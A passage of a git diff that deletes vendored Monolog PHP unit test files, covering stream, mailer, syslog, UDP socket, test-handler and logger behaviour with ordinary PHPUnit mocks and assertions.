- * @covers Monolog\Handler\StreamHandler::write - */ - public function testWriteNonExistingAndNotCreatablePath() - { - if (defined('PHP_WINDOWS_VERSION_BUILD')) { - $this->markTestSkipped('Permissions checks can not run on windows'); - } - $handler = new StreamHandler('/foo/bar/'.rand(0, 10000).DIRECTORY_SEPARATOR.rand(0, 10000)); - $handler->handle($this->getRecord()); - } - - /** - * @expectedException Exception - * @expectedExceptionMessageRegExp /There is no existing directory at/ - * @covers Monolog\Handler\StreamHandler::__construct - * @covers Monolog\Handler\StreamHandler::write - */ - public function testWriteNonExistingAndNotCreatableFileResource() - { - if (defined('PHP_WINDOWS_VERSION_BUILD')) { - $this->markTestSkipped('Permissions checks can not run on windows'); - } - $handler = new StreamHandler('file:///foo/bar/'.rand(0, 10000).DIRECTORY_SEPARATOR.rand(0, 10000)); - $handler->handle($this->getRecord()); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/SwiftMailerHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/SwiftMailerHandlerTest.php deleted file mode 100644 index e835816d9e..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/SwiftMailerHandlerTest.php +++ /dev/null @@ -1,113 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; -use Monolog\TestCase; - -class SwiftMailerHandlerTest extends TestCase -{ - /** @var \Swift_Mailer|\PHPUnit_Framework_MockObject_MockObject */ - private $mailer; - - public function setUp() - { - $this->mailer = $this - ->getMockBuilder('Swift_Mailer') - ->disableOriginalConstructor() - ->getMock(); - } - - public function testMessageCreationIsLazyWhenUsingCallback() - { - $this->mailer->expects($this->never()) - ->method('send'); - - $callback = function () { - throw new \RuntimeException('Swift_Message creation callback should not have been called in this test'); - }; - $handler = new SwiftMailerHandler($this->mailer, $callback); - - $records = array( - $this->getRecord(Logger::DEBUG), - $this->getRecord(Logger::INFO), - ); - $handler->handleBatch($records); - } - - public function testMessageCanBeCustomizedGivenLoggedData() - { - // Wire Mailer to expect a specific Swift_Message with a customized Subject - $expectedMessage = new \Swift_Message(); - $this->mailer->expects($this->once()) - ->method('send') - ->with($this->callback(function ($value) use ($expectedMessage) { - return $value instanceof \Swift_Message - && $value->getSubject() === 'Emergency' - && $value === $expectedMessage; - })); - - // Callback dynamically changes subject based on number of logged records - $callback = function ($content, array $records) use ($expectedMessage) { - $subject = count($records) > 0 ? 'Emergency' : 'Normal'; - $expectedMessage->setSubject($subject); - - return $expectedMessage; - }; - $handler = new SwiftMailerHandler($this->mailer, $callback); - - // Logging 1 record makes this an Emergency - $records = array( - $this->getRecord(Logger::EMERGENCY), - ); - $handler->handleBatch($records); - } - - public function testMessageSubjectFormatting() - { - // Wire Mailer to expect a specific Swift_Message with a customized Subject - $messageTemplate = new \Swift_Message(); - $messageTemplate->setSubject('Alert: %level_name% %message%'); - $receivedMessage = null; - - $this->mailer->expects($this->once()) - ->method('send') - ->with($this->callback(function ($value) use (&$receivedMessage) { - $receivedMessage = $value; - return true; - })); - - $handler = new SwiftMailerHandler($this->mailer, $messageTemplate); - - $records = array( - $this->getRecord(Logger::EMERGENCY), - ); - $handler->handleBatch($records); - - $this->assertEquals('Alert: EMERGENCY test', $receivedMessage->getSubject()); - } - - public function testMessageHaveUniqueId() - { - $messageTemplate = new \Swift_Message(); - $handler = new SwiftMailerHandler($this->mailer, $messageTemplate); - - $method = new \ReflectionMethod('Monolog\Handler\SwiftMailerHandler', 'buildMessage'); - $method->setAccessible(true); - $method->invokeArgs($handler, array($messageTemplate, array())); - - $builtMessage1 = $method->invoke($handler, $messageTemplate, array()); - $builtMessage2 = $method->invoke($handler, $messageTemplate, array()); - - $this->assertFalse($builtMessage1->getId() === $builtMessage2->getId(), 'Two different messages have the same id'); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/SyslogHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/SyslogHandlerTest.php deleted file mode 100644 index b328819e84..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/SyslogHandlerTest.php +++ /dev/null @@ -1,44 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; - -class SyslogHandlerTest extends \PHPUnit_Framework_TestCase -{ - /** - * @covers Monolog\Handler\SyslogHandler::__construct - */ - public function testConstruct() - { - $handler = new SyslogHandler('test'); - $this->assertInstanceOf('Monolog\Handler\SyslogHandler', $handler); - - $handler = new SyslogHandler('test', LOG_USER); - $this->assertInstanceOf('Monolog\Handler\SyslogHandler', $handler); - - $handler = new SyslogHandler('test', 'user'); - $this->assertInstanceOf('Monolog\Handler\SyslogHandler', $handler); - - $handler = new SyslogHandler('test', LOG_USER, Logger::DEBUG, true, LOG_PERROR); - $this->assertInstanceOf('Monolog\Handler\SyslogHandler', $handler); - } - - /** - * @covers Monolog\Handler\SyslogHandler::__construct - */ - public function testConstructInvalidFacility() - { - $this->setExpectedException('UnexpectedValueException'); - $handler = new SyslogHandler('test', 'unknown'); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/SyslogUdpHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/SyslogUdpHandlerTest.php deleted file mode 100644 index 63d6bf981e..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/SyslogUdpHandlerTest.php +++ /dev/null @@ -1,106 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; - -/** - * @requires extension sockets - */ -class SyslogUdpHandlerTest extends TestCase -{ - /** - * @expectedException UnexpectedValueException - */ - public function testWeValidateFacilities() - { - $handler = new SyslogUdpHandler("ip", null, "invalidFacility"); - } - - public function testWeSplitIntoLines() - { - $time = '2014-01-07T12:34'; - $pid = getmypid(); - $host = gethostname(); - - $handler = $this->getMockBuilder('\Monolog\Handler\SyslogUdpHandler') - ->setConstructorArgs(array("127.0.0.1", 514, "authpriv")) - ->setMethods(array('getDateTime')) - ->getMock(); - - $handler->method('getDateTime') - ->willReturn($time); - - $handler->setFormatter(new \Monolog\Formatter\ChromePHPFormatter()); - - $socket = $this->getMock('\Monolog\Handler\SyslogUdp\UdpSocket', array('write'), array('lol', 'lol')); - $socket->expects($this->at(0)) - ->method('write') - ->with("lol", "<".(LOG_AUTHPRIV + LOG_WARNING).">1 $time $host php $pid - - "); - $socket->expects($this->at(1)) - ->method('write') - ->with("hej", "<".(LOG_AUTHPRIV + LOG_WARNING).">1 $time $host php $pid - - "); - - $handler->setSocket($socket); - - $handler->handle($this->getRecordWithMessage("hej\nlol")); - } - - public function testSplitWorksOnEmptyMsg() - { - $handler = new SyslogUdpHandler("127.0.0.1", 514, "authpriv"); - $handler->setFormatter($this->getIdentityFormatter()); - - $socket = $this->getMock('\Monolog\Handler\SyslogUdp\UdpSocket', array('write'), array('lol', 'lol')); - $socket->expects($this->never()) - ->method('write'); - - $handler->setSocket($socket); - - $handler->handle($this->getRecordWithMessage(null)); - } - - - public function testRfc() - { - $time = 'Mar 22 21:16:47'; - $pid = getmypid(); - $host = gethostname(); - - $handler = $this->getMockBuilder('\Monolog\Handler\SyslogUdpHandler') - ->setConstructorArgs(array("127.0.0.1", 514, "authpriv", null, null, "php", \Monolog\Handler\SyslogUdpHandler::RFC3164)) - ->setMethods(array('getDateTime')) - ->getMock(); - - $handler->method('getDateTime') - ->willReturn($time); - - $handler->setFormatter(new \Monolog\Formatter\ChromePHPFormatter()); - - $socket = $this->getMock('\Monolog\Handler\SyslogUdp\UdpSocket', array('write'), array('lol', 'lol')); - $socket->expects($this->at(0)) - ->method('write') - ->with("lol", "<".(LOG_AUTHPRIV + LOG_WARNING).">$time $host php[$pid]: "); - $socket->expects($this->at(1)) - ->method('write') - ->with("hej", "<".(LOG_AUTHPRIV + LOG_WARNING).">$time $host php[$pid]: "); - - $handler->setSocket($socket); - - $handler->handle($this->getRecordWithMessage("hej\nlol")); - } - - protected function getRecordWithMessage($msg) - { - return array('message' => $msg, 'level' => \Monolog\Logger::WARNING, 'context' => null, 'extra' => array(), 'channel' => 'lol'); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/TestHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/TestHandlerTest.php deleted file mode 100644 index 061e10e86a..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/TestHandlerTest.php +++ /dev/null @@ -1,116 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Logger; - -/** - * @covers Monolog\Handler\TestHandler - */ -class TestHandlerTest extends TestCase -{ - /** - * @dataProvider methodProvider - */ - public function testHandler($method, $level) - { - $handler = new TestHandler; - $record = $this->getRecord($level, 'test'.$method); - $this->assertFalse($handler->hasRecords($level)); - $this->assertFalse($handler->hasRecord($record, $level)); - $this->assertFalse($handler->{'has'.$method}($record), 'has'.$method); - $this->assertFalse($handler->{'has'.$method.'ThatContains'}('test'), 'has'.$method.'ThatContains'); - $this->assertFalse($handler->{'has'.$method.'ThatPasses'}(function ($rec) { - return true; - }), 'has'.$method.'ThatPasses'); - $this->assertFalse($handler->{'has'.$method.'ThatMatches'}('/test\w+/')); - $this->assertFalse($handler->{'has'.$method.'Records'}(), 'has'.$method.'Records'); - $handler->handle($record); - - $this->assertFalse($handler->{'has'.$method}('bar'), 'has'.$method); - $this->assertTrue($handler->hasRecords($level)); - $this->assertTrue($handler->hasRecord($record, $level)); - $this->assertTrue($handler->{'has'.$method}($record), 'has'.$method); - $this->assertTrue($handler->{'has'.$method}('test'.$method), 'has'.$method); - $this->assertTrue($handler->{'has'.$method.'ThatContains'}('test'), 'has'.$method.'ThatContains'); - $this->assertTrue($handler->{'has'.$method.'ThatPasses'}(function ($rec) { - return true; - }), 'has'.$method.'ThatPasses'); - $this->assertTrue($handler->{'has'.$method.'ThatMatches'}('/test\w+/')); - $this->assertTrue($handler->{'has'.$method.'Records'}(), 'has'.$method.'Records'); - - $records = $handler->getRecords(); - unset($records[0]['formatted']); - $this->assertEquals(array($record), $records); - } - - public function testHandlerAssertEmptyContext() { - $handler = new TestHandler; - $record = $this->getRecord(Logger::WARNING, 'test', array()); - $this->assertFalse($handler->hasWarning(array( - 'message' => 'test', - 'context' => array(), - ))); - - $handler->handle($record); - - $this->assertTrue($handler->hasWarning(array( - 'message' => 'test', - 'context' => array(), - ))); - $this->assertFalse($handler->hasWarning(array( - 'message' => 'test', - 'context' => array( - 'foo' => 'bar' - ), - ))); - } - - public function testHandlerAssertNonEmptyContext() { - $handler = new TestHandler; - $record = $this->getRecord(Logger::WARNING, 'test', array('foo' => 'bar')); - $this->assertFalse($handler->hasWarning(array( - 'message' => 'test', - 'context' => array( - 'foo' => 'bar' - ), - ))); - - $handler->handle($record); - - $this->assertTrue($handler->hasWarning(array( - 'message' => 'test', - 'context' => array( - 'foo' => 'bar' - ), - ))); - $this->assertFalse($handler->hasWarning(array( - 'message' => 'test', - 'context' => array(), - ))); - } - - public function methodProvider() - { - return array( - array('Emergency', Logger::EMERGENCY), - array('Alert' , Logger::ALERT), - array('Critical' , Logger::CRITICAL), - array('Error' , Logger::ERROR), - array('Warning' , Logger::WARNING), - array('Info' , Logger::INFO), - array('Notice' , Logger::NOTICE), - array('Debug' , Logger::DEBUG), - ); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/UdpSocketTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/UdpSocketTest.php deleted file mode 100644 index 6dc67da1dc..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/UdpSocketTest.php +++ /dev/null @@ -1,64 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Handler\SyslogUdp\UdpSocket; - -/** - * @requires extension sockets - */ -class UdpSocketTest extends TestCase -{ - public function testWeDoNotTruncateShortMessages() - { - $socket = $this->getMock('\Monolog\Handler\SyslogUdp\UdpSocket', array('send'), array('lol', 'lol')); - - $socket->expects($this->at(0)) - ->method('send') - ->with("HEADER: The quick brown fox jumps over the lazy dog"); - - $socket->write("The quick brown fox jumps over the lazy dog", "HEADER: "); - } - - public function testLongMessagesAreTruncated() - { - $socket = $this->getMock('\Monolog\Handler\SyslogUdp\UdpSocket', array('send'), array('lol', 'lol')); - - $truncatedString = str_repeat("derp", 16254).'d'; - - $socket->expects($this->exactly(1)) - ->method('send') - ->with("HEADER" . $truncatedString); - - $longString = str_repeat("derp", 20000); - - $socket->write($longString, "HEADER"); - } - - public function testDoubleCloseDoesNotError() - { - $socket = new UdpSocket('127.0.0.1', 514); - $socket->close(); - $socket->close(); - } - - /** - * @expectedException LogicException - */ - public function testWriteAfterCloseErrors() - { - $socket = new UdpSocket('127.0.0.1', 514); - $socket->close(); - $socket->write('foo', "HEADER"); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/WhatFailureGroupHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/WhatFailureGroupHandlerTest.php deleted file mode 100644 index 85b03d0135..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/WhatFailureGroupHandlerTest.php +++ /dev/null @@ -1,151 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\TestCase; -use Monolog\Logger; - -class WhatFailureGroupHandlerTest extends TestCase -{ - /** - * @covers Monolog\Handler\WhatFailureGroupHandler::__construct - * @expectedException InvalidArgumentException - */ - public function testConstructorOnlyTakesHandler() - { - new WhatFailureGroupHandler(array(new TestHandler(), "foo")); - } - - /** - * @covers Monolog\Handler\WhatFailureGroupHandler::__construct - * @covers Monolog\Handler\WhatFailureGroupHandler::handle - */ - public function testHandle() - { - $testHandlers = array(new TestHandler(), new TestHandler()); - $handler = new WhatFailureGroupHandler($testHandlers); - $handler->handle($this->getRecord(Logger::DEBUG)); - $handler->handle($this->getRecord(Logger::INFO)); - foreach ($testHandlers as $test) { - $this->assertTrue($test->hasDebugRecords()); - $this->assertTrue($test->hasInfoRecords()); - $this->assertTrue(count($test->getRecords()) === 2); - } - } - - /** - * @covers Monolog\Handler\WhatFailureGroupHandler::handleBatch - */ - public function testHandleBatch() - { - $testHandlers = array(new TestHandler(), new TestHandler()); - $handler = new WhatFailureGroupHandler($testHandlers); - $handler->handleBatch(array($this->getRecord(Logger::DEBUG), $this->getRecord(Logger::INFO))); - foreach ($testHandlers as $test) { - $this->assertTrue($test->hasDebugRecords()); - $this->assertTrue($test->hasInfoRecords()); - $this->assertTrue(count($test->getRecords()) === 2); - } - } - - /** - * @covers Monolog\Handler\WhatFailureGroupHandler::isHandling - */ - public function testIsHandling() - { - $testHandlers = array(new TestHandler(Logger::ERROR), new TestHandler(Logger::WARNING)); - $handler = new WhatFailureGroupHandler($testHandlers); - $this->assertTrue($handler->isHandling($this->getRecord(Logger::ERROR))); - $this->assertTrue($handler->isHandling($this->getRecord(Logger::WARNING))); - $this->assertFalse($handler->isHandling($this->getRecord(Logger::DEBUG))); - } - - /** - * @covers Monolog\Handler\WhatFailureGroupHandler::handle - */ - public function testHandleUsesProcessors() - { - $test = new TestHandler(); - $handler = new WhatFailureGroupHandler(array($test)); - $handler->pushProcessor(function ($record) { - $record['extra']['foo'] = true; - - return $record; - }); - $handler->handle($this->getRecord(Logger::WARNING)); - $this->assertTrue($test->hasWarningRecords()); - $records = $test->getRecords(); - $this->assertTrue($records[0]['extra']['foo']); - } - - /** - * @covers Monolog\Handler\WhatFailureGroupHandler::handleBatch - */ - public function testHandleBatchUsesProcessors() - { - $testHandlers = array(new TestHandler(), new TestHandler()); - $handler = new WhatFailureGroupHandler($testHandlers); - $handler->pushProcessor(function ($record) { - $record['extra']['foo'] = true; - - return $record; - }); - $handler->pushProcessor(function ($record) { - $record['extra']['foo2'] = true; - - return $record; - }); - $handler->handleBatch(array($this->getRecord(Logger::DEBUG), $this->getRecord(Logger::INFO))); - foreach ($testHandlers as $test) { - $this->assertTrue($test->hasDebugRecords()); - $this->assertTrue($test->hasInfoRecords()); - $this->assertTrue(count($test->getRecords()) === 2); - $records = $test->getRecords(); - $this->assertTrue($records[0]['extra']['foo']); - $this->assertTrue($records[1]['extra']['foo']); - $this->assertTrue($records[0]['extra']['foo2']); - $this->assertTrue($records[1]['extra']['foo2']); - } - } - - /** - * @covers Monolog\Handler\WhatFailureGroupHandler::handle - */ - public function testHandleException() - { - $test = new TestHandler(); - $exception = new ExceptionTestHandler(); - $handler = new WhatFailureGroupHandler(array($exception, $test, $exception)); - $handler->pushProcessor(function ($record) { - $record['extra']['foo'] = true; - - return $record; - }); - $handler->handle($this->getRecord(Logger::WARNING)); - $this->assertTrue($test->hasWarningRecords()); - $records = $test->getRecords(); - $this->assertTrue($records[0]['extra']['foo']); - } -} - -class ExceptionTestHandler extends TestHandler -{ - /** - * {@inheritdoc} - */ - public function handle(array $record) - { - parent::handle($record); - - throw new \Exception("ExceptionTestHandler::handle"); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/Handler/ZendMonitorHandlerTest.php b/vendor/monolog/monolog/tests/Monolog/Handler/ZendMonitorHandlerTest.php deleted file mode 100644 index 88a7d21334..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/Handler/ZendMonitorHandlerTest.php +++ /dev/null @@ -1,75 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; -use Monolog\TestCase; - -class ZendMonitorHandlerTest extends TestCase -{ - protected $zendMonitorHandler; - - public function setUp() - { - if (!function_exists('zend_monitor_custom_event')) { - $this->markTestSkipped('ZendServer is not installed'); - } - } - - /** - * @covers Monolog\Handler\ZendMonitorHandler::write - */ - public function testWrite() - { - $record = $this->getRecord(); - $formatterResult = array( - 'message' => $record['message'], - ); - - $zendMonitor = $this->getMockBuilder('Monolog\Handler\ZendMonitorHandler') - ->setMethods(array('writeZendMonitorCustomEvent', 'getDefaultFormatter')) - ->getMock(); - - $formatterMock = $this->getMockBuilder('Monolog\Formatter\NormalizerFormatter') - ->disableOriginalConstructor() - ->getMock(); - - $formatterMock->expects($this->once()) - ->method('format') - ->will($this->returnValue($formatterResult)); - - $zendMonitor->expects($this->once()) - ->method('getDefaultFormatter') - ->will($this->returnValue($formatterMock)); - - $levelMap = $zendMonitor->getLevelMap(); - - $zendMonitor->expects($this->once()) - ->method('writeZendMonitorCustomEvent') - ->with( - Logger::getLevelName($record['level']), - $record['message'], - $formatterResult, - $levelMap[$record['level']] - ); - - $zendMonitor->handle($record); - } - - /** - * @covers Monolog\Handler\ZendMonitorHandler::getDefaultFormatter - */ - public function testGetDefaultFormatterReturnsNormalizerFormatter() - { - $zendMonitor = new ZendMonitorHandler(); - $this->assertInstanceOf('Monolog\Formatter\NormalizerFormatter', $zendMonitor->getDefaultFormatter()); - } -} diff --git a/vendor/monolog/monolog/tests/Monolog/LoggerTest.php b/vendor/monolog/monolog/tests/Monolog/LoggerTest.php deleted file mode 100644 index 17aaf04fc8..0000000000 --- a/vendor/monolog/monolog/tests/Monolog/LoggerTest.php +++ /dev/null @@ -1,691 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog; - -use Monolog\Processor\WebProcessor; -use Monolog\Handler\TestHandler; - -class LoggerTest extends \PHPUnit_Framework_TestCase -{ - /** - * @covers Monolog\Logger::getName - */ - public function testGetName() - { - $logger = new Logger('foo'); - $this->assertEquals('foo', $logger->getName()); - } - - /** - * @covers Monolog\Logger::getLevelName - */ - public function testGetLevelName() - { - $this->assertEquals('ERROR', Logger::getLevelName(Logger::ERROR)); - } - - /** - * @covers Monolog\Logger::withName - */ - public function testWithName() - { - $first = new Logger('first', array($handler = new TestHandler())); - $second = $first->withName('second'); - - $this->assertSame('first', $first->getName()); - $this->assertSame('second', $second->getName()); - $this->assertSame($handler, $second->popHandler()); - } - - /** - * @covers Monolog\Logger::toMonologLevel - */ - public function testConvertPSR3ToMonologLevel() - { - $this->assertEquals(Logger::toMonologLevel('debug'), 100); - $this->assertEquals(Logger::toMonologLevel('info'), 200); - $this->assertEquals(Logger::toMonologLevel('notice'), 250); - $this->assertEquals(Logger::toMonologLevel('warning'), 300); - $this->assertEquals(Logger::toMonologLevel('error'), 400); - $this->assertEquals(Logger::toMonologLevel('critical'), 500); - $this->assertEquals(Logger::toMonologLevel('alert'), 550); - $this->assertEquals(Logger::toMonologLevel('emergency'), 600); - } - - /** - * @covers Monolog\Logger::getLevelName - * @expectedException InvalidArgumentException - */ - public function testGetLevelNameThrows() - { - Logger::getLevelName(5); - } - - /** - * @covers Monolog\Logger::__construct - */ - public function testChannel() - { - $logger = new Logger('foo'); - $handler = new TestHandler; - $logger->pushHandler($handler); - $logger->addWarning('test'); - list($record) = $handler->getRecords(); - $this->assertEquals('foo', $record['channel']); - } - - /** - * @covers Monolog\Logger::addRecord - */ - public function testLog() - { - $logger = new Logger(__METHOD__); - - $handler = $this->getMock('Monolog\Handler\NullHandler', array('handle')); - $handler->expects($this->once()) - ->method('handle'); - $logger->pushHandler($handler); - - $this->assertTrue($logger->addWarning('test')); - } - - /** - * @covers Monolog\Logger::addRecord - */ - public function testLogNotHandled() - { - $logger = new Logger(__METHOD__); - - $handler = $this->getMock('Monolog\Handler\NullHandler', array('handle'), array(Logger::ERROR)); - $handler->expects($this->never()) - ->method('handle'); - $logger->pushHandler($handler); - - $this->assertFalse($logger->addWarning('test')); - } - - public function testHandlersInCtor() - { - $handler1 = new TestHandler; - $handler2 = new TestHandler; - $logger = new Logger(__METHOD__, array($handler1, $handler2)); - - $this->assertEquals($handler1, $logger->popHandler()); - $this->assertEquals($handler2, $logger->popHandler()); - } - - public function testProcessorsInCtor() - { - $processor1 = new WebProcessor; - $processor2 = new WebProcessor; - $logger = new Logger(__METHOD__, array(), array($processor1, $processor2)); - - $this->assertEquals($processor1, $logger->popProcessor()); - $this->assertEquals($processor2, $logger->popProcessor()); - } - - /** - * @covers Monolog\Logger::pushHandler - * @covers Monolog\Logger::popHandler - * @expectedException LogicException - */ - public function testPushPopHandler() - { - $logger = new Logger(__METHOD__); - $handler1 = new TestHandler; - $handler2 = new TestHandler; - - $logger->pushHandler($handler1); - $logger->pushHandler($handler2); - - $this->assertEquals($handler2, $logger->popHandler()); - $this->assertEquals($handler1, $logger->popHandler()); - $logger->popHandler(); - } - - /** - * @covers Monolog\Logger::setHandlers - */ - public function testSetHandlers() - { - $logger = new Logger(__METHOD__); - $handler1 = new TestHandler; - $handler2 = new TestHandler; - - $logger->pushHandler($handler1); - $logger->setHandlers(array($handler2)); - - // handler1 has been removed - $this->assertEquals(array($handler2), $logger->getHandlers()); - - $logger->setHandlers(array( - "AMapKey" => $handler1, - "Woop" => $handler2, - )); - - // Keys have been scrubbed - $this->assertEquals(array($handler1, $handler2), $logger->getHandlers()); - } - - /** - * @covers Monolog\Logger::pushProcessor - * @covers Monolog\Logger::popProcessor - * @expectedException LogicException - */ - public function testPushPopProcessor() - { - $logger = new Logger(__METHOD__); - $processor1 = new WebProcessor; - $processor2 = new WebProcessor; - - $logger->pushProcessor($processor1); - $logger->pushProcessor($processor2); - - $this->assertEquals($processor2, $logger->popProcessor()); - $this->assertEquals($processor1, $logger->popProcessor()); - $logger->popProcessor(); - } - - /** - * @covers Monolog\Logger::pushProcessor - * @expectedException InvalidArgumentException - */ - public function testPushProcessorWithNonCallable() - { - $logger = new Logger(__METHOD__); - - $logger->pushProcessor(new \stdClass()); - } - - /** - * @covers Monolog\Logger::addRecord - */ - public function testProcessorsAreExecuted() - { - $logger = new Logger(__METHOD__); - $handler = new TestHandler; - $logger->pushHandler($handler); - $logger->pushProcessor(function ($record) { - $record['extra']['win'] = true; - - return $record; - }); - $logger->addError('test'); - list($record) = $handler->getRecords(); - $this->assertTrue($record['extra']['win']); - } - - /** - * @covers Monolog\Logger::addRecord - */ - public function testProcessorsAreCalledOnlyOnce() - { - $logger = new Logger(__METHOD__); - $handler = $this->getMock('Monolog\Handler\HandlerInterface'); - $handler->expects($this->any()) - ->method('isHandling') - ->will($this->returnValue(true)) - ; - $handler->expects($this->any()) - ->method('handle') - ->will($this->returnValue(true)) - ; - $logger->pushHandler($handler); - - $processor = $this->getMockBuilder('Monolog\Processor\WebProcessor') - ->disableOriginalConstructor() - ->setMethods(array('__invoke')) - ->getMock() - ; - $processor->expects($this->once()) - ->method('__invoke') - ->will($this->returnArgument(0)) - ; - $logger->pushProcessor($processor); - - $logger->addError('test'); - } - - /** - * @covers Monolog\Logger::addRecord - */ - public function testProcessorsNotCalledWhenNotHandled() - { - $logger = new Logger(__METHOD__); - $handler = $this->getMock('Monolog\Handler\HandlerInterface'); - $handler->expects($this->once()) - ->method('isHandling') - ->will($this->returnValue(false)) - ; - $logger->pushHandler($handler); - $that = $this; - $logger->pushProcessor(function ($record) use ($that) { - $that->fail('The processor should not be called'); - }); - $logger->addAlert('test'); - } - - /** - * @covers Monolog\Logger::addRecord - */ - public function testHandlersNotCalledBeforeFirstHandling() - { - $logger = new Logger(__METHOD__); - - $handler1 = $this->getMock('Monolog\Handler\HandlerInterface'); - $handler1->expects($this->never()) - ->method('isHandling') - ->will($this->returnValue(false)) - ; - $handler1->expects($this->once()) - ->method('handle') - ->will($this->returnValue(false)) - ; - $logger->pushHandler($handler1); - - $handler2 = $this->getMock('Monolog\Handler\HandlerInterface'); - $handler2->expects($this->once()) - ->method('isHandling') - ->will($this->returnValue(true)) - ; - $handler2->expects($this->once()) - ->method('handle') - ->will($this->returnValue(false)) - ; - $logger->pushHandler($handler2); - - $handler3 = $this->getMock('Monolog\Handler\HandlerInterface'); - $handler3->expects($this->once()) - ->method('isHandling') - ->will($this->returnValue(false)) - ; - $handler3->expects($this->never()) - ->method('handle') - ; - $logger->pushHandler($handler3); - - $logger->debug('test'); - } - - /** - * @covers Monolog\Logger::addRecord - */ - public function testHandlersNotCalledBeforeFirstHandlingWithAssocArray() - { - $handler1 = $this->getMock('Monolog\Handler\HandlerInterface'); - $handler1->expects($this->never()) - ->method('isHandling') - ->will($this->returnValue(false)) - ; - $handler1->expects($this->once()) - ->method('handle') - ->will($this->returnValue(false)) - ; - - $handler2 = $this->getMock('Monolog\Handler\HandlerInterface'); - $handler2->expects($this->once()) - ->method('isHandling') - ->will($this->returnValue(true)) - ; - $handler2->expects($this->once()) - ->method('handle') - ->will($this->returnValue(false)) - ; - - $handler3 = $this->getMock('Monolog\Handler\HandlerInterface'); - $handler3->expects($this->once()) - ->method('isHandling') - ->will($this->returnValue(false)) - ; - $handler3->expects($this->never()) - ->method('handle') - ; - - $logger = new Logger(__METHOD__, array('last' => $handler3, 'second' => $handler2, 'first' => $handler1)); - - $logger->debug('test'); - } - - /** - * @covers Monolog\Logger::addRecord - */ - public function testBubblingWhenTheHandlerReturnsFalse() - { - $logger = new Logger(__METHOD__); - - $handler1 = $this->getMock('Monolog\Handler\HandlerInterface'); - $handler1->expects($this->any()) - ->method('isHandling') - ->will($this->returnValue(true)) - ; - $handler1->expects($this->once()) - ->method('handle') - ->will($this->returnValue(false)) - ; - $logger->pushHandler($handler1); - - $handler2 = $this->getMock('Monolog\Handler\HandlerInterface'); - $handler2->expects($this->any()) - ->method('isHandling') - ->will($this->returnValue(true)) - ; - $handler2->expects($this->once()) - ->method('handle') - ->will($this->returnValue(false)) - ; - $logger->pushHandler($handler2); - - $logger->debug('test'); - } - - /** - * @covers Monolog\Logger::addRecord - */ - public function testNotBubblingWhenTheHandlerReturnsTrue() - { - $logger = new Logger(__METHOD__); - - $handler1 = $this->getMock('Monolog\Handler\HandlerInterface'); - $handler1->expects($this->any()) - ->method('isHandling') - ->will($this->returnValue(true)) - ; - $handler1->expects($this->never()) - ->method('handle') - ; - $logger->pushHandler($handler1); - - $handler2 = $this->getMock('Monolog\Handler\HandlerInterface'); - $handler2->expects($this->any()) - ->method('isHandling') - ->will($this->returnValue(true)) - ; - $handler2->expects($this->once()) - ->method('handle') - ->will($this->returnValue(true)) - ; - $logger->pushHandler($handler2); - - $logger->debug('test'); - } - - /** - * @covers Monolog\Logger::isHandling - */ - public function testIsHandling() - { - $logger = new Logger(__METHOD__); - - $handler1 = $this->getMock('Monolog\Handler\HandlerInterface'); - $handler1->expects($this->any()) - ->method('isHandling') - ->will($this->returnValue(false)) - ; - - $logger->pushHandler($handler1); - $this->assertFalse($logger->isHandling(Logger::DEBUG)); - - $handler2 = $this->getMock('Monolog\Handler\HandlerInterface'); - $handler2->expects($this->any()) - ->method('isHandling') - ->will($this->returnValue(true)) - ; - - $logger->pushHandler($handler2); - $this->assertTrue($logger->isHandling(Logger::DEBUG)); - } - - /** - * @dataProvider logMethodProvider - * @covers Monolog\Logger::addDebug - * @covers Monolog\Logger::addInfo - * @covers Monolog\Logger::addNotice - * @covers Monolog\Logger::addWarning - * @covers Monolog\Logger::addError - * @covers Monolog\Logger::addCritical - * @covers Monolog\Logger::addAlert - * @covers Monolog\Logger::addEmergency - * @covers Monolog\Logger::debug - * @covers Monolog\Logger::info - * @covers Monolog\Logger::notice - * @covers Monolog\Logger::warn - * @covers Monolog\Logger::err - * @covers Monolog\Logger::crit - * @covers Monolog\Logger::alert - * @covers Monolog\Logger::emerg - */ - public function testLogMethods($method, $expectedLevel) - { - $logger = new Logger('foo'); - $handler = new TestHandler; - $logger->pushHandler($handler); - $logger->{$method}('test'); - list($record) = $handler->getRecords(); - 